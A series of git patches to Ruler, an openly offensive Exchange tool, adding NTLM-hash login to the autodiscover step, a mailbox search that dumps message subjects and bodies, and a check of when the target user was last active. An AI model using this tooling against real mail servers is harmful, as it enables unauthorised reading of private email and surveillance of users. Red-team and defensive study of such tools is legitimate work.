hex.DecodeString(c.GlobalString("hash")); err != nil { - return fmt.Errorf("Invalid hash provided. Hex decode failed") - } - } - //setup our autodiscover service - config.Domain = c.GlobalString("domain") - if c.GlobalString("username") == "" { - config.User = "nosuchuser" - } else { - config.User = c.GlobalString("username") - } - if c.GlobalString("email") == "" { - config.Email = "nosuchemail" - } else { - config.Email = c.GlobalString("email") - } - config.Basic = c.GlobalBool("basic") - config.Insecure = c.GlobalBool("insecure") - config.Verbose = c.GlobalBool("verbose") - config.Admin = c.GlobalBool("admin") - config.RPCEncrypt = !c.GlobalBool("noencrypt") - config.CookieJar, _ = cookiejar.New(nil) - config.Proxy = c.GlobalString("proxy") - url := c.GlobalString("url") - - if url == "" { - url = config.Domain - } + if c.Bool("dump") == true && (c.GlobalString("username") == "" && c.GlobalString("email") == "") { + return fmt.Errorf("--dump requires credentials to be set!") + } + + if c.Bool("dump") == true && c.String("out") == "" { + return fmt.Errorf("--dump requires an out file to be set with --out /path/to/file.txt") + } + + var err error + if c.Bool("dump") == true && c.GlobalString("password") == "" && c.GlobalString("hash") == "" { + fmt.Printf("Password: ") + var pass []byte + pass, err = gopass.GetPasswd() + if err != nil { + // Handle gopass.ErrInterrupted or getch() read error + return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + } + config.Pass = string(pass) + } else { + config.Pass = c.GlobalString("password") + if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { + return fmt.Errorf("Invalid hash provided. Hex decode failed") + } + } + //setup our autodiscover service + config.Domain = c.GlobalString("domain") + if c.GlobalString("username") == "" { + config.User = "nosuchuser" + } else { + config.User = c.GlobalString("username") + } + if c.GlobalString("email") == "" { + config.Email = "nosuchemail" + } else { + config.Email = c.GlobalString("email") + } + config.Basic = c.GlobalBool("basic") + config.Insecure = c.GlobalBool("insecure") + config.Verbose = c.GlobalBool("verbose") + config.Admin = c.GlobalBool("admin") + config.RPCEncrypt = !c.GlobalBool("noencrypt") + config.CookieJar, _ = cookiejar.New(nil) + config.Proxy = c.GlobalString("proxy") + url := c.GlobalString("url") + + if url == "" { + url = config.Domain + } autodiscover.SessionConfig = &config - _, domain, err := autodiscover.Autodiscover(url) - - if domain == "" && err != nil { - return err - } - - if c.Bool("dump") == true { - path := c.String("out") - utils.Info.Printf("Looks like the autodiscover service was found, Writing to: %s \n",path) - fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) - _, err := fout.WriteString(domain) - if err != nil { - return fmt.Errorf("Couldn't write to file for some reason..", err) - } - } else { - utils.Info.Printf("Looks like the autodiscover service is at: %s \n",domain) - utils.Info.Println("Checking if domain is hosted on Office 365") - //smart check to see if domain is on office365 - //A request to https://login.microsoftonline.com//.well-known/openid-configuration - //response with 400 for none-hosted domains - //response with 200 for office365 domains - - - resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration",config.Domain)) - if resp.StatusCode == 400 { - utils.Info.Println("Domain is not hosted on Office 365") - } else if resp.StatusCode == 200 { - utils.Info.Println("Domain is hosted on Office 365") - } else { - utils.Error.Println("Received an unexpected response") - utils.Debug.Println(resp.StatusCode) - } - } + _, domain, err := autodiscover.Autodiscover(url) + + if domain == "" && err != nil { + return err + } + + if c.Bool("dump") == true { + path := c.String("out") + utils.Info.Printf("Looks like the autodiscover service was found, Writing to: %s \n", path) + fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) + _, err := fout.WriteString(domain) + if err != nil { + return fmt.Errorf("Couldn't write to file for some reason..", err) + } + } else { + utils.Info.Printf("Looks like the autodiscover service is at: %s \n", domain) + utils.Info.Println("Checking if domain is hosted on Office 365") + //smart check to see if domain is on office365 + //A request to https://login.microsoftonline.com//.well-known/openid-configuration + //response with 400 for none-hosted domains + //response with 200 for office365 domains + + resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration", config.Domain)) + if resp.StatusCode == 400 { + utils.Info.Println("Domain is not hosted on Office 365") + } else if resp.StatusCode == 200 { + utils.Info.Println("Domain is hosted on Office 365") + } else { + utils.Error.Println("Received an unexpected response") + utils.Debug.Println(resp.StatusCode) + } + } return nil } @@ -830,6 +828,70 @@ func deleteHomePage() error { return e } +func searchFolders() error { + utils.Info.Println("Setting search criteria") + + //x, err := mapi.CreateSearchFolder("searchxx") + //if err != nil { + // return err + // } + // fmt.Println(x) + + // time.Sleep(time.Second * (time.Duration)(5)) + FolderID := []byte{} + rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + if er != nil || rows != nil { + for k := 0; k < len(rows.RowData); k++ { + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == "searchxx" { + FolderID = rows.RowData[k][1].ValueArray + break + } + } + } else { + utils.Error.Println(er) + } + + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + ret, e := mapi.SetSearchCriteria(1, folderid, FolderID) + fmt.Println(ret, e) + utils.Info.Println("Waiting for folder to populate") + for x := 0; x < 10; x++ { + time.Sleep(time.Second * (time.Duration)(5)) + res, _ := mapi.GetSearchCriteria(1, folderid, FolderID) + //do check if search is complete + fmt.Printf("Search Flag: %x\n", res.SearchFlags) + if res.SearchFlags == 0x00001000 { + break + } + } + mapi.GetFolderFromID(FolderID, nil) + mapi.GetContents(FolderID) + /* + rows, err := mapi.GetContents(folderid) + fmt.Println(rows, err) + for k := 0; k < len(rows.RowData); k++ { + messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) + messageid := rows.RowData[k][1].ValueArray + columns := make([]mapi.PropertyTag, 1) + columns[0] = mapi.PidTagBody //Column for the Message Body containing our payload + + buff, err := mapi.GetMessageFast(folderid, messageid, columns) + if err != nil { + continue + } + //convert buffer to rows + messagerows := mapi.DecodeBufferToRows(buff.TransferBuffer, columns) + + payload := utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4]) + + fmt.Println(messageSubject, payload) + + } + */ + return er +} + func main() { app := cli.NewApp() @@ -1091,7 +1153,7 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` return nil }, }, - { + { Name: "autodiscover", Aliases: []string{"u"}, Usage: "Just run the autodiscover service to find the authentication point", @@ -1100,9 +1162,9 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Name: "dump,d", Usage: "Dump the autodiscover record to a text file (this needs credentails)", }, - cli.StringFlag{ + cli.StringFlag{ Name: "out,o", - Value: "", + Value: "", Usage: "The file to write to", }, }, @@ -1422,6 +1484,31 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, }, }, + { + Name: "search", + Usage: "Search for items", + Flags: []cli.Flag{ + cli.BoolFlag{ + Name: "subject", + Usage: "Search the subject", + }, + cli.StringFlag{ + Name: "term", + Value: "", + Usage: "The term to search for", + }, + }, + Action: func(c *cli.Context) error { + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = searchFolders() + exit(err) + return nil + }, + }, } app.Action = func(c *cli.Context) error { From 192daf15217bedab00aea5f5f92f10b8051899ce Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 1 Sep 2017 10:05:24 +0200 Subject: [PATCH 13/35] This includes working search. Ruler will check if a search folder exists (with the name "searcher" (for now). This search folder will be used, a search criteria is set and then any matching messages are downloaded. * TODO: check to ensure search folder has been populated * TODO: Check to see if new search matches existing search on that folder * TODO: add more search options, currently just does a search of message bodies for the supplied substring --- mapi/datastructs.go | 57 +++++++++++-- mapi/mapi.go | 102 +++------------------- mapi/restrictionDatastructs.go | 12 +-- ruler.go | 149 ++++++++++++++++++++++----------- 4 files changed, 168 insertions(+), 152 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index d667079..66d7439 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -984,6 +984,15 @@ type PropertyRow struct { ValueArray []byte } +//OpenRecipientRow holds the data for a recipient returned on a message +type OpenRecipientRow struct { + RecipientType uint8 + CodePageID uint16 + Reserved uint16 + RecipientRowSize uint16 + RecipientRow RecipientRow +} + //RopResponse interface for common methods on RopResponses type RopResponse interface { Unmarshal([]byte) error @@ -1897,15 +1906,51 @@ func (ropOpenMessageResponse *RopOpenMessageResponse) Unmarshal(resp []byte) (in } ropOpenMessageResponse.HasNamedProperties, pos = utils.ReadByte(pos, resp) - if ropOpenMessageResponse.HasNamedProperties == 1 { - ropOpenMessageResponse.SubjectPrefix, pos = utils.ReadTypedString(pos, resp) //utils.ReadUnicodeString(pos, resp) - ropOpenMessageResponse.NormalizedSubject, pos = utils.ReadTypedString(pos, resp) - ropOpenMessageResponse.RecipientCount, pos = utils.ReadUint16(pos, resp) - //utils.Read recipients - } + //if ropOpenMessageResponse.HasNamedProperties == 1 { + ropOpenMessageResponse.SubjectPrefix, pos = utils.ReadTypedString(pos, resp) //utils.ReadUnicodeString(pos, resp) + ropOpenMessageResponse.NormalizedSubject, pos = utils.ReadTypedString(pos, resp) + ropOpenMessageResponse.RecipientCount, pos = utils.ReadUint16(pos, resp) + //} ropOpenMessageResponse.ColumnCount, pos = utils.ReadUint16(pos, resp) + + if ropOpenMessageResponse.ColumnCount > 0 { + //read recipient columns + //these are propertytags - each tag is 4 bytes + ropOpenMessageResponse.RecipientColumns = make([]PropertyTag, ropOpenMessageResponse.ColumnCount) + for i := 0; i < int(ropOpenMessageResponse.ColumnCount); i++ { + propTag := PropertyTag{} + propTag.PropertyType, pos = utils.ReadUint16(pos, resp) + propTag.PropertyID, pos = utils.ReadUint16(pos, resp) + ropOpenMessageResponse.RecipientColumns[i] = propTag + } + } + ropOpenMessageResponse.RowCount, pos = utils.ReadByte(pos, resp) + if ropOpenMessageResponse.RowCount > 0 { + //read rows + //these are OpenRecipientRow structures + for i := 0; i < int(ropOpenMessageResponse.RowCount); i++ { + recipientRow := OpenRecipientRow{} + recipientRow.RecipientType, pos = utils.ReadByte(pos, resp) + recipientRow.CodePageID, pos = utils.ReadUint16(pos, resp) + recipientRow.Reserved, pos = utils.ReadUint16(pos, resp) + recipientRow.RecipientRowSize, pos = utils.ReadUint16(pos, resp) + var x []byte + x, pos = utils.ReadBytes(pos, int(recipientRow.RecipientRowSize), resp) + //convert to a recipient + recipientRow.RecipientRow = RecipientRow{} + recipientRow.RecipientRow.Unmarshal(x) + + } + } + + return pos, nil +} + +//Unmarshal func for recipientRow - TODO +func (recipientRow *RecipientRow) Unmarshal(resp []byte) (int, error) { + pos := 0 return pos, nil } diff --git a/mapi/mapi.go b/mapi/mapi.go index daef520..7aa6e61 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -133,7 +133,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { return nil, err } } - utils.Info.Println(string(rawResp)) + //utils.Info.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) return &executeResponse, nil @@ -845,7 +845,7 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet } //SetSearchCriteria function is used to set the search criteria on a folder or set of folders -func SetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) (*RopSetSearchCriteriaResponse, error) { +func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) (*RopSetSearchCriteriaResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -860,93 +860,11 @@ func SetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) setCriteria := RopSetSearchCriteriaRequest{RopID: 0x30, LogonID: AuthSession.LogonID} setCriteria.InputHandleIndex = 0x01 - restrict := AndRestriction{RestrictType: 0x00} - restrict.RestrictCount = uint16(2) - - restrict2 := AndRestriction{RestrictType: 0x00} - restrict2.RestrictCount = uint16(7) - - restrictContent := ContentRestriction{RestrictType: 0x03} - restrictContent.FuzzyLevelLow = flSUBSTRING - restrictContent.FuzzyLevelHigh = flIGNORECASE - restrictContent.PropertyTag = PidTagSubject - restrictContent.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString("test")} - - restrictNot := NotRestriction{RestrictType: 0x02} - restrictNot.Restriction = restrictContent - - restrictContent2 := ContentRestriction{RestrictType: 0x03} - restrictContent2.FuzzyLevelLow = flPREFIX - restrictContent2.FuzzyLevelHigh = flIGNORECASE - restrictContent2.PropertyTag = PidTagMessageClass - restrictContent2.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Note")} - - restrictNot2 := NotRestriction{RestrictType: 0x02} - restrictNot2.Restriction = restrictContent2 - - restrictContent3 := ContentRestriction{RestrictType: 0x03} - restrictContent3.FuzzyLevelLow = flPREFIX - restrictContent3.FuzzyLevelHigh = flIGNORECASE - restrictContent3.PropertyTag = PidTagMessageClass - restrictContent3.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.DistList")} - - restrictNot3 := NotRestriction{RestrictType: 0x02} - restrictNot3.Restriction = restrictContent3 - - restrictContent4 := ContentRestriction{RestrictType: 0x03} - restrictContent4.FuzzyLevelLow = flPREFIX - restrictContent4.FuzzyLevelHigh = flIGNORECASE - restrictContent4.PropertyTag = PidTagMessageClass - restrictContent4.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Activity")} - - restrictNot4 := NotRestriction{RestrictType: 0x02} - restrictNot4.Restriction = restrictContent4 - - restrictContent5 := ContentRestriction{RestrictType: 0x03} - restrictContent5.FuzzyLevelLow = flPREFIX - restrictContent5.FuzzyLevelHigh = flIGNORECASE - restrictContent5.PropertyTag = PidTagMessageClass - restrictContent5.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.StickyNote")} - - restrictNot5 := NotRestriction{RestrictType: 0x02} - restrictNot5.Restriction = restrictContent5 - - restrictContent6 := ContentRestriction{RestrictType: 0x03} - restrictContent6.FuzzyLevelLow = flFULLSTRING - restrictContent6.FuzzyLevelHigh = flIGNORECASE - restrictContent6.PropertyTag = PidTagMessageClass - restrictContent6.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Task")} - - restrictNot6 := NotRestriction{RestrictType: 0x02} - restrictNot6.Restriction = restrictContent6 - - restrictContent7 := ContentRestriction{RestrictType: 0x03} - restrictContent7.FuzzyLevelLow = flPREFIX - restrictContent7.FuzzyLevelHigh = flIGNORECASE - restrictContent7.PropertyTag = PidTagMessageClass - restrictContent7.PropertyValue = TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Task.")} - - restrictNot7 := NotRestriction{RestrictType: 0x02} - restrictNot7.Restriction = restrictContent7 - - restrict2.Restricts = []Restriction{restrictNot, restrictNot2, restrictNot3, restrictNot4, restrictNot5, restrictNot6, restrictNot7} - - restrict3 := AndRestriction{RestrictType: 0x00} - restrict3.RestrictCount = uint16(1) - - restrictRes := PropertyRestriction{RestrictType: 0x04} - restrictRes.RelOp = 0x04 - restrictRes.PropTag = PidTagImportance - restrictRes.TaggedValue = TaggedPropertyValue{PropertyTag: PidTagImportance, PropertyValue: []byte{0x02, 0x00, 0x00, 0x00}} - - restrict3.Restricts = []Restriction{restrictRes} - restrict.Restricts = []Restriction{restrictContent, restrictContent2} - - setCriteria.RestrictionData = restrict.Marshal() + setCriteria.RestrictionData = restrictions.Marshal() setCriteria.RestrictDataSize = uint16(len(setCriteria.RestrictionData)) setCriteria.FolderIds = folderids - setCriteria.FolderIDCount = uint16(folderidcount) + setCriteria.FolderIDCount = uint16(len(folderids) / 8) setCriteria.SearchFlags = RESTARTSEARCH | SHALLOWSEARCH | NONCONTENTINDEXEDSEARCH fullReq = append(fullReq, setCriteria.Marshal()...) @@ -987,7 +905,7 @@ func SetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) } //GetSearchCriteria function is used to set the search criteria on a folder or set of folders -func GetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) (*RopGetSearchCriteriaResponse, error) { +func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -1031,7 +949,7 @@ func GetSearchCriteria(folderidcount int, folderids []byte, searchFolder []byte) bufPtr += p getCriteriaResponse := RopGetSearchCriteriaResponse{} - fmt.Println(execResponse.RopBuffer[bufPtr:]) + if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } @@ -2123,7 +2041,7 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { if _, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } - fmt.Printf("%x\n", execResponse.RopBuffer) + //fmt.Printf("%x\n", execResponse.RopBuffer) return execResponse.RopBuffer[len(execResponse.RopBuffer)-4:], nil } return nil, ErrUnknown @@ -2183,6 +2101,8 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPrope bufPtr += 4 } + //fmt.Println(execResponse.RopBuffer[bufPtr:]) + openMessage := RopOpenMessageResponse{} if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e @@ -2266,14 +2186,12 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast } bufPtr += p - //fmt.Printf("%x\n", execResponse.RopBuffer[bufPtr:]) + pprops := RopFastTransferSourceGetBufferResponse{} if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } - //utils.Trace.Printf("Doing Chunked Transfer. Chunks [%d]", pprops.TotalStepCount) - //Rop release if we are done.. otherwise get rest of stream if pprops.TransferStatus == 0x0001 { buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) diff --git a/mapi/restrictionDatastructs.go b/mapi/restrictionDatastructs.go index f6bc919..332d933 100644 --- a/mapi/restrictionDatastructs.go +++ b/mapi/restrictionDatastructs.go @@ -6,16 +6,16 @@ import "github.com/sensepost/ruler/utils" //match types for fuzzy low const ( - flFULLSTRING = 0x0000 //field and the value of the column property tag match one another in their entirety - flSUBSTRING = 0x0001 //field matches some portion of the value of the column tag - flPREFIX = 0x0002 //field matches a starting portion of the value of the column tag + FLFULLSTRING = 0x0000 //field and the value of the column property tag match one another in their entirety + FLSUBSTRING = 0x0001 //field matches some portion of the value of the column tag + FLPREFIX = 0x0002 //field matches a starting portion of the value of the column tag ) //match types for fuzzy high const ( - flIGNORECASE = 0x0001 //The comparison does not consider case - flIGNOREONSPACE = 0x0002 //The comparison ignores Unicode-defined nonspacing characters such as diacritical marks - flLOOSE = 0x0004 //The comparison results in a match whenever possible, ignoring case and nonspacing characters + FLIGNORECASE = 0x0001 //The comparison does not consider case + FLIGNOREONSPACE = 0x0002 //The comparison ignores Unicode-defined nonspacing characters such as diacritical marks + FLLOOSE = 0x0004 //The comparison results in a match whenever possible, ignoring case and nonspacing characters ) //search flags diff --git a/ruler.go b/ruler.go index 66613b2..e8fb16c 100644 --- a/ruler.go +++ b/ruler.go @@ -828,68 +828,121 @@ func deleteHomePage() error { return e } -func searchFolders() error { - utils.Info.Println("Setting search criteria") +func searchFolders(c *cli.Context) error { - //x, err := mapi.CreateSearchFolder("searchxx") - //if err != nil { - // return err - // } - // fmt.Println(x) + utils.Info.Println("Checking if a search folder exists") - // time.Sleep(time.Second * (time.Duration)(5)) - FolderID := []byte{} - rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) - if er != nil || rows != nil { - for k := 0; k < len(rows.RowData); k++ { - //convert string from unicode and then check if it is our target folder - if utils.FromUnicode(rows.RowData[k][0].ValueArray) == "searchxx" { - FolderID = rows.RowData[k][1].ValueArray - break - } - } - } else { - utils.Error.Println(er) + searchFolderName := "searcher" + + searchFolder, err := checkFolder(searchFolderName) + if err != nil { + return fmt.Errorf("Unable to create a search folder to use. %s", err) } - folderid := mapi.AuthSession.Folderids[mapi.INBOX] - ret, e := mapi.SetSearchCriteria(1, folderid, FolderID) - fmt.Println(ret, e) - utils.Info.Println("Waiting for folder to populate") - for x := 0; x < 10; x++ { - time.Sleep(time.Second * (time.Duration)(5)) - res, _ := mapi.GetSearchCriteria(1, folderid, FolderID) + utils.Info.Println("Setting search criteria") + + folderids := mapi.AuthSession.Folderids[mapi.INBOX] + + //create the search criteria restrictions + + restrict := mapi.AndRestriction{RestrictType: 0x00} + restrict.RestrictCount = uint16(2) + + //restrict subject + restrictContent := mapi.ContentRestriction{RestrictType: 0x03} + restrictContent.FuzzyLevelLow = mapi.FLSUBSTRING + restrictContent.FuzzyLevelHigh = mapi.FLIGNORECASE + restrictContent.PropertyTag = mapi.PidTagBody + restrictContent.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))} + + restrictContent2 := mapi.ContentRestriction{RestrictType: 0x03} + restrictContent2.FuzzyLevelLow = mapi.FLPREFIX + restrictContent2.FuzzyLevelHigh = mapi.FLIGNORECASE + restrictContent2.PropertyTag = mapi.PidTagMessageClass + restrictContent2.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Note")} + + restrict.Restricts = []mapi.Restriction{restrictContent, restrictContent2} + + mapi.SetSearchCriteria(folderids, searchFolder, restrict) + + utils.Info.Println("Waiting for search folder to populate") + for x := 0; x < 1; x++ { + // time.Sleep(time.Second * (time.Duration)(5)) + res, _ := mapi.GetSearchCriteria(searchFolder) //do check if search is complete - fmt.Printf("Search Flag: %x\n", res.SearchFlags) + //fmt.Printf("Search Flag: %x\n", res.SearchFlags) if res.SearchFlags == 0x00001000 { break } } - mapi.GetFolderFromID(FolderID, nil) - mapi.GetContents(FolderID) - /* - rows, err := mapi.GetContents(folderid) - fmt.Println(rows, err) - for k := 0; k < len(rows.RowData); k++ { - messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) - messageid := rows.RowData[k][1].ValueArray - columns := make([]mapi.PropertyTag, 1) - columns[0] = mapi.PidTagBody //Column for the Message Body containing our payload + mapi.GetFolderFromID(searchFolder, nil) - buff, err := mapi.GetMessageFast(folderid, messageid, columns) - if err != nil { - continue + rows, err := mapi.GetContents(searchFolder) + + for k := 0; k < len(rows.RowData); k++ { + messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) + messageid := rows.RowData[k][1].ValueArray + columns := make([]mapi.PropertyTag, 1) + columns[0] = mapi.PidTagBody //Column for the Message Body containing our payload + + buff, err := mapi.GetMessageFast(searchFolder, messageid, columns) + if err != nil { + continue + } + //convert buffer to rows + + messagerows := mapi.DecodeBufferToRows(buff.TransferBuffer, columns) + payload := utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4]) + utils.Info.Printf("Subject: %s\nBody: %s\n", messageSubject, payload) + + } + + return nil +} + +func checkFolder(folderName string) ([]byte, error) { + + var folderID []byte + propertyTags := make([]mapi.PropertyTag, 2) + propertyTags[0] = mapi.PidTagDisplayName + propertyTags[1] = mapi.PidTagSubfolders + + rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + + if er == nil { + for k := 0; k < len(rows.RowData); k++ { + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == folderName { + folderID = rows.RowData[k][1].ValueArray + break } - //convert buffer to rows - messagerows := mapi.DecodeBufferToRows(buff.TransferBuffer, columns) + } + } - payload := utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4]) + if len(folderID) == 0 { + utils.Info.Println("No 'ruler' search folder exists. Creating one to use") + _, err := mapi.CreateSearchFolder(folderName) + if err != nil { + return nil, err + } - fmt.Println(messageSubject, payload) + time.Sleep(time.Second * (time.Duration)(5)) + rows, er = mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + if er != nil || rows != nil { + for k := 0; k < len(rows.RowData); k++ { + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == folderName { + folderID = rows.RowData[k][1].ValueArray + break + } + } + } else { + return nil, er } - */ - return er + } + + return folderID, nil } func main() { @@ -1504,7 +1557,7 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` utils.Error.Println(err) cli.OsExiter(1) } - err = searchFolders() + err = searchFolders(c) exit(err) return nil }, From f70b2f04de2791c801935b029700bab04fa57a04 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 1 Sep 2017 17:18:13 +0200 Subject: [PATCH 14/35] Adds --last option to the ```check``` command. This will parse the Sent-Items folder and extract the last sent message. Using the time-stamp and the "ClientInfo" NamedProperty, we can get when last the target was active. And determine if they were using MSExchangeRPC (Outlook) or OWA. * Needs testing to see what ClientInfo is set for mobile devices * Might be a better way to do this, but I haven't found it * Has a hack to get to the clientInfo named prop. This might not exist in all mailboxes * because of the above issue, TODO: add a check to make sure we don't crash if this property doesn't exist --- mapi/constants.go | 2 + mapi/datastructs.go | 173 +++++++++++++++++++++++++++++++++++++++++++- mapi/mapi.go | 112 ++++++++++++++++++++++++---- ruler.go | 71 +++++++++++++++++- utils/logging.go | 4 +- utils/utils.go | 8 ++ 6 files changed, 350 insertions(+), 20 deletions(-) diff --git a/mapi/constants.go b/mapi/constants.go index 8c549ab..a9dd371 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -615,3 +615,5 @@ var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19} var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF} var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083} var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014} + +var PidTagClientInfo = PropertyTag{PtypString, 0x80C7} diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 66d7439..c131228 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -84,6 +84,43 @@ type ConnectResponse struct { AuxilliaryBuffer []byte } +//RopReadPerUserInformationRequest get user information +type RopReadPerUserInformationRequest struct { + RopID uint8 //0x63 + LogonID uint8 + InputHandleIndex uint8 + FolderID []byte + Reserved uint32 + DataOffset uint32 + MaxDataSize uint16 +} + +//RopReadPerUserInformationResponse get user information response +type RopReadPerUserInformationResponse struct { + RopID uint8 //0x63 + InputHandleIndex uint8 + ReturnValue uint32 + HasFinished uint8 + DataSize uint16 + Data []byte +} + +//RopLongTermIDFromIDRequest get user information +type RopLongTermIDFromIDRequest struct { + RopID uint8 //0x43 + LogonID uint8 + InputHandleIndex uint8 + ObjectID []byte +} + +//RopLongTermIDFromIDResponse get user information response +type RopLongTermIDFromIDResponse struct { + RopID uint8 //0x43 + InputHandleIndex uint8 + ReturnValue uint32 + LongTermID []byte +} + //RgbAuxIn struct type RgbAuxIn struct { RPCHeader RPCHeader @@ -233,6 +270,11 @@ type RopGetPropertyIdsFromNamesRequest struct { PropertyNames []PropertyName } +type GetProperties interface { + Unmarshal([]byte, []PropertyTag) (int, error) + GetData() []PropertyRow +} + //RopGetPropertyIdsFromNamesResponse struct to get property ids for LIDs type RopGetPropertyIdsFromNamesResponse struct { RopID uint8 //0x56 @@ -248,7 +290,7 @@ type RopGetPropertiesSpecific struct { LogonID uint8 InputHandle uint8 PropertySizeLimit uint16 - WantUnicode []byte //apparently bool + WantUnicode uint16 //apparently bool PropertyTagCount uint16 PropertyTags []PropertyTag //[]byte } @@ -281,6 +323,24 @@ type RopGetPropertiesSpecificResponse struct { RowData []PropertyRow } +//RopGetPropertiesAll struct to get propertiesfor a folder +type RopGetPropertiesAllRequest struct { + RopID uint8 //0x08 + LogonID uint8 + InputHandle uint8 + PropertySizeLimit uint16 + WantUnicode uint16 +} + +//RopGetPropertiesSpecificResponse struct to get propertiesfor a folder +type RopGetPropertiesAllResponse struct { + RopID uint8 //0x08 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyValueCount uint16 + PropertyValues []PropertyRow +} + //RopFastTransferDestinationConfigureRequest used to configure a destination buffer for fast TransferBuffer type RopFastTransferDestinationConfigureRequest struct { RopID uint8 //0x53 @@ -982,6 +1042,8 @@ type StandardPropertyRow struct { type PropertyRow struct { Flag uint8 //non-zero indicates error ValueArray []byte + PropType []byte + PropID []byte } //OpenRecipientRow holds the data for a recipient returned on a message @@ -1051,6 +1113,16 @@ func (logonRequest RopLogonRequest) Marshal() []byte { return utils.BodyToBytes(logonRequest) } +//Marshal turn RopReadPerUserInformationRequest into Bytes +func (readRequest RopReadPerUserInformationRequest) Marshal() []byte { + return utils.BodyToBytes(readRequest) +} + +//Marshal turn RopLongTermIDFromIDRequest into Bytes +func (readRequest RopLongTermIDFromIDRequest) Marshal() []byte { + return utils.BodyToBytes(readRequest) +} + //Marshal turn the RopQueryRowsRequest into bytes func (queryRows RopQueryRowsRequest) Marshal() []byte { return utils.BodyToBytes(queryRows) @@ -1111,6 +1183,11 @@ func (getProps RopGetPropertiesSpecific) Marshal() []byte { return utils.BodyToBytes(getProps) } +//Marshal turn RopGetPropertiesAllRequest into Bytes +func (getProps RopGetPropertiesAllRequest) Marshal() []byte { + return utils.BodyToBytes(getProps) +} + //Marshal turn RopGetContentsTableRequest into Bytes func (getContentsTable RopGetContentsTableRequest) Marshal() []byte { return utils.BodyToBytes(getContentsTable) @@ -1332,6 +1409,40 @@ func (ropRelease *RopReleaseResponse) Unmarshal(resp []byte) (int, error) { return pos, nil } +//Unmarshal function to produce RopCreateMessageResponse struct +func (readUserInfoResp *RopReadPerUserInformationResponse) Unmarshal(resp 